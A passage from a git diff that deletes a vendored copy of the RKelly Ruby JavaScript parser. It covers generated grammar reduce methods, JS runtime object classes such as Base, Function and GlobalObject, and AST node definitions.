LogicalOrNode.new(val[0], val[2]) - result - end -.,., - -# reduce 185 omitted - -module_eval(<<'.,.,', 'parser.y', 424) - def _reduce_186(val, _values, result) - result = LogicalOrNode.new(val[0], val[2]) - result - end -.,., - -# reduce 187 omitted - -module_eval(<<'.,.,', 'parser.y', 429) - def _reduce_188(val, _values, result) - result = LogicalOrNode.new(val[0], val[2]) - result - end -.,., - -# reduce 189 omitted - -module_eval(<<'.,.,', 'parser.y', 435) - def _reduce_190(val, _values, result) - result = ConditionalNode.new(val[0], val[2], val[4]) - - result - end -.,., - -# reduce 191 omitted - -module_eval(<<'.,.,', 'parser.y', 442) - def _reduce_192(val, _values, result) - result = ConditionalNode.new(val[0], val[2], val[4]) - - result - end -.,., - -# reduce 193 omitted - -module_eval(<<'.,.,', 'parser.y', 449) - def _reduce_194(val, _values, result) - result = ConditionalNode.new(val[0], val[2], val[4]) - - result - end -.,., - -# reduce 195 omitted - -module_eval(<<'.,.,', 'parser.y', 456) - def _reduce_196(val, _values, result) - result = val[1].new(val.first, val.last) - - result - end -.,., - -# reduce 197 omitted - -module_eval(<<'.,.,', 'parser.y', 463) - def _reduce_198(val, _values, result) - result = val[1].new(val.first, val.last) - - result - end -.,., - -# reduce 199 omitted - -module_eval(<<'.,.,', 'parser.y', 470) - def _reduce_200(val, _values, result) - result = val[1].new(val.first, val.last) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 475) - def _reduce_201(val, _values, result) - result = OpEqualNode - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 476) - def _reduce_202(val, _values, result) - result = OpPlusEqualNode - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 477) - def _reduce_203(val, _values, result) - result = OpMinusEqualNode - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 478) - def _reduce_204(val, _values, result) - result = OpMultiplyEqualNode - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 479) - def _reduce_205(val, _values, result) - result = OpDivideEqualNode - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 480) - def _reduce_206(val, _values, result) - result = OpLShiftEqualNode - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 481) - def _reduce_207(val, _values, result) - result = OpRShiftEqualNode - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 482) - def _reduce_208(val, _values, result) - result = OpURShiftEqualNode - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 483) - def _reduce_209(val, _values, result) - result = OpAndEqualNode - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 484) - def _reduce_210(val, _values, result) - result = OpXOrEqualNode - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 485) - def _reduce_211(val, _values, result) - result = OpOrEqualNode - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 486) - def _reduce_212(val, _values, result) - result = OpModEqualNode - result - end -.,., - -# reduce 213 omitted - -module_eval(<<'.,.,', 'parser.y', 491) - def _reduce_214(val, _values, result) - result = CommaNode.new(val[0], val[2]) - result - end -.,., - -# reduce 215 omitted - -module_eval(<<'.,.,', 'parser.y', 496) - def _reduce_216(val, _values, result) - result = CommaNode.new(val[0], val[2]) - result - end -.,., - -# reduce 217 omitted - -module_eval(<<'.,.,', 'parser.y', 501) - def _reduce_218(val, _values, result) - result = CommaNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 507) - def _reduce_219(val, _values, result) - result = BlockNode.new(val[1]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 514) - def _reduce_220(val, _values, result) - result = VarStatementNode.new(val[1]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 518) - def _reduce_221(val, _values, result) - result = VarStatementNode.new(val[1]) - debug(result) - yyabort unless allow_auto_semi?(val.last) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 525) - def _reduce_222(val, _values, result) - result = val - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 527) - def _reduce_223(val, _values, result) - result = [val.first, val.last].flatten - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 532) - def _reduce_224(val, _values, result) - result = val - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 534) - def _reduce_225(val, _values, result) - result = [val.first, val.last].flatten - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 539) - def _reduce_226(val, _values, result) - result = VarDeclNode.new(val.first, nil) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 540) - def _reduce_227(val, _values, result) - result = VarDeclNode.new(val.first, val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 544) - def _reduce_228(val, _values, result) - result = VarDeclNode.new(val[0],nil) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 545) - def _reduce_229(val, _values, result) - result = VarDeclNode.new(val[0], val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 550) - def _reduce_230(val, _values, result) - result = ConstStatementNode.new(val[1]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 554) - def _reduce_231(val, _values, result) - result = ConstStatementNode.new(val[1]) - debug(result) - yyerror unless allow_auto_semi?(val.last) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 561) - def _reduce_232(val, _values, result) - result = val - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 563) - def _reduce_233(val, _values, result) - result = [val.first, val.last].flatten - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 568) - def _reduce_234(val, _values, result) - result = VarDeclNode.new(val[0], nil, true) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 569) - def _reduce_235(val, _values, result) - result = VarDeclNode.new(val[0], val[1], true) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 573) - def _reduce_236(val, _values, result) - result = AssignExprNode.new(val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 577) - def _reduce_237(val, _values, result) - result = AssignExprNode.new(val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 581) - def _reduce_238(val, _values, result) - result = EmptyStatementNode.new(val[0]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 586) - def _reduce_239(val, _values, result) - result = ExpressionStatementNode.new(val.first) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 590) - def _reduce_240(val, _values, result) - result = ExpressionStatementNode.new(val.first) - debug(result) - raise RKelly::SyntaxError unless allow_auto_semi?(val.last) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 598) - def _reduce_241(val, _values, result) - result = IfNode.new(val[2], val[4]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 602) - def _reduce_242(val, _values, result) - result = IfNode.new(val[2], val[4], val[6]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 609) - def _reduce_243(val, _values, result) - result = DoWhileNode.new(val[1], val[4]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 613) - def _reduce_244(val, _values, result) - result = DoWhileNode.new(val[1], val[4]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 617) - def _reduce_245(val, _values, result) - result = WhileNode.new(val[2], val[4]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 621) - def _reduce_246(val, _values, result) - result = ForNode.new(val[2], val[4], val[6], val[8]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 626) - def _reduce_247(val, _values, result) - result = ForNode.new(VarStatementNode.new(val[3]), val[5], val[7], val[9]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 630) - def _reduce_248(val, _values, result) - #yyabort if (!n.isLocation()) - result = ForInNode.new(val[2], val[4], val[6]) - debug(result); - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 635) - def _reduce_249(val, _values, result) - result = ForInNode.new( - VarDeclNode.new(val[3], nil), val[5], val[7]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 640) - def _reduce_250(val, _values, result) - result = ForInNode.new( - VarDeclNode.new(val[3], val[4]), val[6], val[8] - ) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 648) - def _reduce_251(val, _values, result) - result = nil - result - end -.,., - -# reduce 252 omitted - -module_eval(<<'.,.,', 'parser.y', 653) - def _reduce_253(val, _values, result) - result = nil - result - end -.,., - -# reduce 254 omitted - -module_eval(<<'.,.,', 'parser.y', 659) - def _reduce_255(val, _values, result) - result = ContinueNode.new(nil) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 663) - def _reduce_256(val, _values, result) - result = ContinueNode.new(nil) - debug(result) - yyabort unless allow_auto_semi?(val[1]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 668) - def _reduce_257(val, _values, result) - result = ContinueNode.new(val[1]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 672) - def _reduce_258(val, _values, result) - result = ContinueNode.new(val[1]) - debug(result) - yyabort unless allow_auto_semi?(val[2]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 680) - def _reduce_259(val, _values, result) - result = BreakNode.new(nil) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 684) - def _reduce_260(val, _values, result) - result = BreakNode.new(nil) - debug(result) - yyabort unless allow_auto_semi?(val[1]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 689) - def _reduce_261(val, _values, result) - result = BreakNode.new(val[1]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 693) - def _reduce_262(val, _values, result) - result = BreakNode.new(val[1]) - debug(result) - yyabort unless allow_auto_semi?(val[2]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 701) - def _reduce_263(val, _values, result) - result = ReturnNode.new(nil) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 705) - def _reduce_264(val, _values, result) - result = ReturnNode.new(nil) - debug(result) - yyabort unless allow_auto_semi?(val[1]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 710) - def _reduce_265(val, _values, result) - result = ReturnNode.new(val[1]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 714) - def _reduce_266(val, _values, result) - result = ReturnNode.new(val[1]) - debug(result) - yyabort unless allow_auto_semi?(val[2]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 722) - def _reduce_267(val, _values, result) - result = WithNode.new(val[2], val[4]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 729) - def _reduce_268(val, _values, result) - result = SwitchNode.new(val[2], val[4]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 735) - def _reduce_269(val, _values, result) - result = CaseBlockNode.new(val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 737) - def _reduce_270(val, _values, result) - result = CaseBlockNode.new([val[1], val[2], val[3]].flatten) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 742) - def _reduce_271(val, _values, result) - result = [] - result - end -.,., - -# reduce 272 omitted - -module_eval(<<'.,.,', 'parser.y', 747) - def _reduce_273(val, _values, result) - result = val - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 748) - def _reduce_274(val, _values, result) - result = val.flatten - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 753) - def _reduce_275(val, _values, result) - result = CaseClauseNode.new(val[1], val[3]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 759) - def _reduce_276(val, _values, result) - result = CaseClauseNode.new(nil, val[2]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 764) - def _reduce_277(val, _values, result) - result = LabelNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 769) - def _reduce_278(val, _values, result) - result = ThrowNode.new(val[1]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 773) - def _reduce_279(val, _values, result) - result = ThrowNode.new(val[1]) - debug(result) - yyabort unless allow_auto_semi?(val[2]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 781) - def _reduce_280(val, _values, result) - result = TryNode.new(val[1], nil, nil, val[3]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 785) - def _reduce_281(val, _values, result) - result = TryNode.new(val[1], val[4], val[6]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 789) - def _reduce_282(val, _values, result) - result = TryNode.new(val[1], val[4], val[6], val[8]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 796) - def _reduce_283(val, _values, result) - result = EmptyStatementNode.new(val[0]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 800) - def _reduce_284(val, _values, result) - result = EmptyStatementNode.new(val[0]) - debug(result) - yyabort unless allow_auto_semi?(val[1]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 808) - def _reduce_285(val, _values, result) - result = FunctionDeclNode.new(val[1], val[5]) - debug(val[5]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 812) - def _reduce_286(val, _values, result) - result = FunctionDeclNode.new(val[1], val[6], val[3]) - debug(val[6]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 819) - def _reduce_287(val, _values, result) - result = FunctionExprNode.new(val[0], val[4]) - debug(val[4]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 823) - def _reduce_288(val, _values, result) - result = FunctionExprNode.new(val[0], val[5], val[2]) - debug(val[5]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 827) - def _reduce_289(val, _values, result) - result = FunctionExprNode.new(val[1], val[5]) - debug(val[5]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 831) - def _reduce_290(val, _values, result) - result = FunctionExprNode.new(val[1], val[6], val[3]) - debug(val[6]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 837) - def _reduce_291(val, _values, result) - result = [ParameterNode.new(val[0])] - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 839) - def _reduce_292(val, _values, result) - result = [val.first, ParameterNode.new(val.last)].flatten - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 844) - def _reduce_293(val, _values, result) - result = FunctionBodyNode.new(val[0]) - result - end -.,., - -def _reduce_none(val, _values, result) - val[0] -end - - end # class GeneratedParser - end # module RKelly diff --git a/lib/rkelly/js.rb b/lib/rkelly/js.rb deleted file mode 100644 index 0660e307b8..0000000000 --- a/lib/rkelly/js.rb +++ /dev/null @@ -1,14 +0,0 @@ -require 'rkelly/js/nan' -require 'rkelly/js/property' -require 'rkelly/js/base' -require 'rkelly/js/global_object' -require 'rkelly/js/object' -require 'rkelly/js/object_prototype' -require 'rkelly/js/function_prototype' -require 'rkelly/js/array' -require 'rkelly/js/boolean' -require 'rkelly/js/math' -require 'rkelly/js/number' -require 'rkelly/js/string' -require 'rkelly/js/scope' -require 'rkelly/js/function' diff --git a/lib/rkelly/js/array.rb b/lib/rkelly/js/array.rb deleted file mode 100644 index 054b69c13d..0000000000 --- a/lib/rkelly/js/array.rb +++ /dev/null @@ -1,15 +0,0 @@ -module RKelly - module JS - class Array < Base - class << self - def create(*args) - self.new(*args) - end - end - - def initialize(*args) - super() - end - end - end -end diff --git a/lib/rkelly/js/base.rb b/lib/rkelly/js/base.rb deleted file mode 100644 index 796fb2c870..0000000000 --- a/lib/rkelly/js/base.rb +++ /dev/null @@ -1,91 +0,0 @@ -module RKelly - module JS - class Base - attr_reader :properties, :return, :value - def initialize - @properties = Hash.new { |h,k| - h[k] = Property.new(k, :undefined, self) - } - @return = nil - @returned = false - @value = self - self['Class'] = self.class.to_s.split('::').last - end - - def [](name) - return self.properties[name] if has_property?(name) - if self.properties['prototype'].value != :undefined - self.properties['prototype'].value[name] - else - RKelly::Runtime::UNDEFINED - end - end - - def []=(name, value) - return unless can_put?(name) - if has_property?(name) - self.properties[name].value = value - else - self.properties[name] = Property.new(name, value, self) - end - end - - def can_put?(name) - if !has_property?(name) - return true if self.properties['prototype'].nil? - return true if self.properties['prototype'].value.nil? - return true if self.properties['prototype'].value == :undefined - return self.properties['prototype'].value.can_put?(name) - end - !self.properties[name].read_only? - end - - def has_property?(name) - return true if self.properties.has_key?(name) - return false if self.properties['prototype'].nil? - return false if self.properties['prototype'].value.nil? - return false if self.properties['prototype'].value == :undefined - self.properties['prototype'].value.has_property?(name) - end - - def delete(name) - return true unless has_property?(name) - return false if self.properties[name].dont_delete? - self.properties.delete(name) - true - end - - def default_value(hint) - case hint - when 'Number' - value_of = self['valueOf'] - if value_of.function || value_of.value.is_a?(RKelly::JS::Function) - return value_of - end - to_string = self['toString'] - if to_string.function || to_string.value.is_a?(RKelly::JS::Function) - return to_string - end - end - end - - def return=(value) - @returned = true - @return = value - end - - def returned?; @returned; end - - private - def unbound_method(name, object_id = nil, &block) - name = "#{name}_#{self.class.to_s.split('::').last}_#{object_id}" - unless RKelly::JS::Base.instance_methods.include?(name.to_sym) - RKelly::JS::Base.class_eval do - define_method(name, &block) - end - end - RKelly::JS::Base.instance_method(name) - end - end - end -end diff --git a/lib/rkelly/js/boolean.rb b/lib/rkelly/js/boolean.rb deleted file mode 100644 index 2a78aa9721..0000000000 --- a/lib/rkelly/js/boolean.rb +++ /dev/null @@ -1,21 +0,0 @@ -module RKelly - module JS - class Boolean < Base - class << self - def create(*args) - return false if args.length == 0 - self.new(args.first) - end - end - def initialize(*args) - super() - value = args.first.nil? ? false : args.first - self['valueOf'] = value - self['valueOf'].function = lambda { - value - } - self['toString'] = args.first.to_s - end - end - end -end diff --git a/lib/rkelly/js/function.rb b/lib/rkelly/js/function.rb deleted file mode 100644 index 538057a3de..0000000000 --- a/lib/rkelly/js/function.rb +++ /dev/null @@ -1,39 +0,0 @@ -module RKelly - module JS - class Function < Base - class << self - def create(*args) - if args.length > 0 - parser = RKelly::Parser.new - body = args.pop - tree = parser.parse("function x(#{args.join(',')}) { #{body} }") - func = tree.value.first - self.new(func.function_body, func.arguments) - else - self.new - end - end - end - - attr_reader :body, :arguments - def initialize(body = nil, arguments = []) - super() - @body = body - @arguments = arguments - self['prototype'] = JS::FunctionPrototype.new(self) - self['toString'] = :undefined - self['length'] = arguments.length - end - - def js_call(scope_chain, *params) - arguments.each_with_index { |name, i| - scope_chain[name.value] = params[i] || RKelly::Runtime::UNDEFINED - } - function_visitor = RKelly::Visitors::FunctionVisitor.new(scope_chain) - eval_visitor = RKelly::Visitors::EvaluationVisitor.new(scope_chain) - body.accept(function_visitor) if body - body.accept(eval_visitor) if body - end - end - end -end diff --git a/lib/rkelly/js/function_prototype.rb b/lib/rkelly/js/function_prototype.rb deleted file mode 100644 index 6a6fde983a..0000000000 --- a/lib/rkelly/js/function_prototype.rb +++ /dev/null @@ -1,15 +0,0 @@ -module RKelly - module JS - # This is the object protytpe - # ECMA-262 15.2.4 - class FunctionPrototype < ObjectPrototype - def initialize(function) - super() - self['Class'] = 'Object' - self['constructor'] = function - self['arguments'].value = nil - end - end - end -end - diff --git a/lib/rkelly/js/global_object.rb b/lib/rkelly/js/global_object.rb deleted file mode 100644 index 370a108989..0000000000 --- a/lib/rkelly/js/global_object.rb +++ /dev/null @@ -1,52 +0,0 @@ -module RKelly - module JS - class GlobalObject < Base - def initialize - super - self['class'] = 'GlobalObject' - self['NaN'] = JS::NaN.new - self['NaN'].attributes << :dont_enum - self['NaN'].attributes << :dont_delete - - self['Infinity'] = 1.0/0.0 - self['Infinity'].attributes << :dont_enum - self['Infinity'].attributes << :dont_delete - - self['undefined'] = :undefined - self['undefined'].attributes << :dont_enum - self['undefined'].attributes << :dont_delete - - self['Array'] = JS::Array.new - self['Array'].function = lambda { |*args| - JS::Array.create(*args) - } - - self['Object'] = JS::Object.new - self['Object'].function = lambda { |*args| - JS::Object.create(*args) - } - - self['Math'] = JS::Math.new - - self['Function'] = :undefined - self['Function'].function = lambda { |*args| - JS::Function.create(*args) - } - - self['Number'] = JS::Number.new - self['Number'].function = lambda { |*args| - JS::Number.create(*args) - } - - self['Boolean'] = JS::Boolean.new - self['Boolean'].function = lambda { |*args| - JS::Boolean.create(*args) - } - self['String'] = JS::String.new('') - self['String'].function = lambda { |*args| - JS::String.create(*args) - } - end - end - end -end diff --git a/lib/rkelly/js/math.rb b/lib/rkelly/js/math.rb deleted file mode 100644 index c6a0a2aa35..0000000000 --- a/lib/rkelly/js/math.rb +++ /dev/null @@ -1,10 +0,0 @@ -module RKelly - module JS - class Math < Base - def initialize - super - self['PI'] = ::Math::PI - end - end - end -end diff --git a/lib/rkelly/js/nan.rb b/lib/rkelly/js/nan.rb deleted file mode 100644 index b4bc7f8401..0000000000 --- a/lib/rkelly/js/nan.rb +++ /dev/null @@ -1,18 +0,0 @@ -module RKelly - module JS - # Class to represent Not A Number - # In Ruby NaN != NaN, but in JS, NaN == NaN - class NaN < ::Numeric - def ==(other) - other.respond_to?(:nan?) && other.nan? - end - - def nan? - true - end - - def +(o); self; end - def -(o); self; end - end - end -end diff --git a/lib/rkelly/js/number.rb b/lib/rkelly/js/number.rb deleted file mode 100644 index d513ec7a23..0000000000 --- a/lib/rkelly/js/number.rb +++ /dev/null @@ -1,22 +0,0 @@ -module RKelly - module JS - class Number < Base - class << self - def create(*args) - self.new(args.first || 0) - end - end - - def initialize(value = 0) - super() - self['MAX_VALUE'] = 1.797693134862315e+308 - self['MIN_VALUE'] = 1.0e-306 - self['NaN'] = JS::NaN.new - self['POSITIVE_INFINITY'] = 1.0/0.0 - self['NEGATIVE_INFINITY'] = -1.0/0.0 - self['valueOf'] = lambda { value } - self['toString'] = value.to_s - end - end - end -end diff --git a/lib/rkelly/js/object.rb b/lib/rkelly/js/object.rb deleted file mode 100644 index 27635bf50e..0000000000 --- a/lib/rkelly/js/object.rb +++ /dev/null @@ -1,30 +0,0 @@ -module RKelly - module JS - class Object < Base - attr_reader :value - class << self - def create(*args) - arg = args.first - return self.new if arg.nil? || arg == :undefined - case arg - when true, false - JS::Boolean.new(arg) - when Numeric - JS::Number.new(arg) - when ::String - JS::String.new(arg) - else - self.new(arg) - end - end - end - - def initialize(*args) - super() - self['prototype'] = JS::ObjectPrototype.new - self['valueOf'] = lambda { args.first || self } - self['valueOf'].function = lambda { args.first || self } - end - end - end -end diff --git a/lib/rkelly/js/object_prototype.rb b/lib/rkelly/js/object_prototype.rb deleted file mode 100644 index c8bd61a325..0000000000 --- a/lib/rkelly/js/object_prototype.rb +++ /dev/null @@ -1,14 +0,0 @@ -module RKelly - module JS - # This is the object protytpe - # ECMA-262 15.2.4 - class ObjectPrototype < Base - def initialize - super - self['toString'].function = unbound_method(:toString) do - "[object #{self['Class'].value}]" - end - end - end - end -end diff --git a/lib/rkelly/js/property.rb b/lib/rkelly/js/property.rb deleted file mode 100644 index 73c5fdd397..0000000000 --- a/lib/rkelly/js/property.rb +++ /dev/null @@ -1,20 +0,0 @@ -module RKelly - module JS - class Property - attr_accessor :name, :value, :attributes, :function, :binder - def initialize(name, value, binder = nil, function = nil, attributes = []) - @name = name - @value = value - @binder = binder - @function = function - @attributes = attributes - end - - [:read_only, :dont_enum, :dont_delete, :internal].each do |property| - define_method(:"#{property}?") do - self.attributes.include?(property) - end - end - end - end -end diff --git a/lib/rkelly/js/scope.rb b/lib/rkelly/js/scope.rb deleted file mode 100644 index 1437d31118..0000000000 --- a/lib/rkelly/js/scope.rb +++ /dev/null @@ -1,6 +0,0 @@ -module RKelly - module JS - class Scope < Base - end - end -end diff --git a/lib/rkelly/js/string.rb b/lib/rkelly/js/string.rb deleted file mode 100644 index 9fab974410..0000000000 --- a/lib/rkelly/js/string.rb +++ /dev/null @@ -1,21 +0,0 @@ -module RKelly - module JS - class String < Base - class << self - def create(*args) - self.new(args.first || '') - end - end - - def initialize(value) - super() - self['valueOf'] = value - self['valueOf'].function = lambda { value } - self['toString'] = value - self['fromCharCode'] = unbound_method(:fromCharCode) { |*args| - args.map { |x| x.chr }.join - } - end - end - end -end diff --git a/lib/rkelly/lexeme.rb b/lib/rkelly/lexeme.rb deleted file mode 100644 index c06ca5fb47..0000000000 --- a/lib/rkelly/lexeme.rb +++ /dev/null @@ -1,18 +0,0 @@ -require 'rkelly/token' - -module RKelly - class Lexeme - attr_reader :name, :pattern - def initialize(name, pattern, &block) - @name = name - @pattern = pattern - @block = block - end - - def match(string) - match = pattern.match(string) - return Token.new(name, match.to_s, &@block) if match - match - end - end -end diff --git a/lib/rkelly/nodes.rb b/lib/rkelly/nodes.rb deleted file mode 100644 index 3548d286d6..0000000000 --- a/lib/rkelly/nodes.rb +++ /dev/null @@ -1,25 +0,0 @@ -require 'rkelly/nodes/node' -require 'rkelly/nodes/function_expr_node' -require 'rkelly/nodes/binary_node' -require 'rkelly/nodes/bracket_accessor_node' -require 'rkelly/nodes/case_clause_node' -require 'rkelly/nodes/comma_node' -require 'rkelly/nodes/conditional_node' -require 'rkelly/nodes/dot_accessor_node' -require 'rkelly/nodes/for_in_node' -require 'rkelly/nodes/for_node' -require 'rkelly/nodes/function_call_node' -require 'rkelly/nodes/function_decl_node' -require 'rkelly/nodes/function_expr_node' -require 'rkelly/nodes/if_node' -require 'rkelly/nodes/label_node' -require 'rkelly/nodes/new_expr_node' -require 'rkelly/nodes/not_strict_equal_node' -require 'rkelly/nodes/op_equal_node' -require 'rkelly/nodes/postfix_node' -require 'rkelly/nodes/prefix_node' -require 'rkelly/nodes/property_node' -require 'rkelly/nodes/resolve_node' -require 'rkelly/nodes/strict_equal_node' -require 'rkelly/nodes/try_node' -require 'rkelly/nodes/var_decl_node' diff --git a/lib/rkelly/nodes/binary_node.rb b/lib/rkelly/nodes/binary_node.rb deleted file mode 100644 index 84f6b3dbdf..0000000000 --- a/lib/rkelly/nodes/binary_node.rb +++ /dev/null @@ -1,18 +0,0 @@ -module RKelly - module Nodes - class BinaryNode < Node - attr_reader :left - def initialize(left, right) - super(right) - @left = left - end - end - - %w[Subtract LessOrEqual GreaterOrEqual Add Multiply While NotEqual - DoWhile Switch LogicalAnd UnsignedRightShift Modulus While - NotStrictEqual Less With In Greater BitOr StrictEqual LogicalOr - BitXOr LeftShift Equal BitAnd InstanceOf Divide RightShift].each do |node| - eval "class #{node}Node < BinaryNode; end" - end - end -end diff --git a/lib/rkelly/nodes/bracket_accessor_node.rb b/lib/rkelly/nodes/bracket_accessor_node.rb deleted file mode 100644 index 6115fa2574..0000000000 --- a/lib/rkelly/nodes/bracket_accessor_node.rb +++ /dev/null @@ -1,11 +0,0 @@ -module RKelly - module Nodes - class BracketAccessorNode < Node - attr_reader :accessor - def initialize(resolve, accessor) - super(resolve) - @accessor = accessor - end - end - end -end diff --git a/lib/rkelly/nodes/case_clause_node.rb b/lib/rkelly/nodes/case_clause_node.rb deleted file mode 100644 index bbe5127d58..0000000000 --- a/lib/rkelly/nodes/case_clause_node.rb +++ /dev/null @@ -1,11 +0,0 @@ -require 'rkelly/nodes/binary_node' - -module RKelly - module Nodes - class CaseClauseNode < BinaryNode - def initialize(left, src = SourceElementsNode.new([])) - super - end - end - end -end diff --git a/lib/rkelly/nodes/comma_node.rb b/lib/rkelly/nodes/comma_node.rb deleted file mode 100644 index 00bfbe539f..0000000000 --- a/lib/rkelly/nodes/comma_node.rb +++ /dev/null @@ -1,11 +0,0 @@ -module RKelly - module Nodes - class CommaNode < Node - attr_reader :left - def initialize(left, right) - super(right) - @left = left - end - end - end -end diff --git a/lib/rkelly/nodes/conditional_node.rb b/lib/rkelly/nodes/conditional_node.rb deleted file mode 100644 index 4aea83ea88..0000000000 --- a/lib/rkelly/nodes/conditional_node.rb +++ /dev/null @@ -1,11 +0,0 @@ -require 'rkelly/nodes/if_node' - -module RKelly - module Nodes - class ConditionalNode < IfNode - def initialize(test, true_block, else_block) - super - end - end - end -end diff --git a/lib/rkelly/nodes/dot_accessor_node.rb b/lib/rkelly/nodes/dot_accessor_node.rb deleted file mode 100644 index 1fd78fc90f..0000000000 --- a/lib/rkelly/nodes/dot_accessor_node.rb +++ /dev/null @@ -1,11 +0,0 @@ -module RKelly - module Nodes - class DotAccessorNode < Node - attr_accessor :accessor - def initialize(resolve, accessor) - super(resolve) - @accessor = accessor - end - end - end -end diff --git a/lib/rkelly/nodes/for_in_node.rb b/lib/rkelly/nodes/for_in_node.rb deleted file mode 100644 index 3b14ab6f09..0000000000 --- a/lib/rkelly/nodes/for_in_node.rb +++ /dev/null @@ -1,12 +0,0 @@ -module RKelly - module Nodes - class ForInNode < Node - attr_reader :left, :right - def initialize(left, right, block) - super(block) - @left = left - @right = right - end - end - end -end diff --git a/lib/rkelly/nodes/for_node.rb b/lib/rkelly/nodes/for_node.rb deleted file mode 100644 index 7392e490ae..0000000000 --- a/lib/rkelly/nodes/for_node.rb +++ /dev/null @@ -1,13 +0,0 @@ -module RKelly - module Nodes - class ForNode < Node - attr_reader :init, :test, :counter - def initialize(init, test, counter, body) - super(body) - @init = init - @test = test - @counter = counter - end - end - end -end diff --git a/lib/rkelly/nodes/function_call_node.rb b/lib/rkelly/nodes/function_call_node.rb deleted file mode 100644 index c91d090e18..0000000000 --- a/lib/rkelly/nodes/function_call_node.rb +++ /dev/null @@ -1,16 +0,0 @@ -module RKelly - module Nodes - class FunctionCallNode < Node - attr_reader :arguments - def initialize(value, arguments) - super(value) - @arguments = arguments - end - - def ==(other) - super && @arguments == other.arguments - end - alias :=~ :== - end - end -end diff --git a/lib/rkelly/nodes/function_decl_node.rb b/lib/rkelly/nodes/function_decl_node.rb deleted file mode 100644 index 0415de8d5d..0000000000 --- a/lib/rkelly/nodes/function_decl_node.rb +++ /dev/null @@ -1,6 +0,0 @@ -module RKelly - module Nodes - class 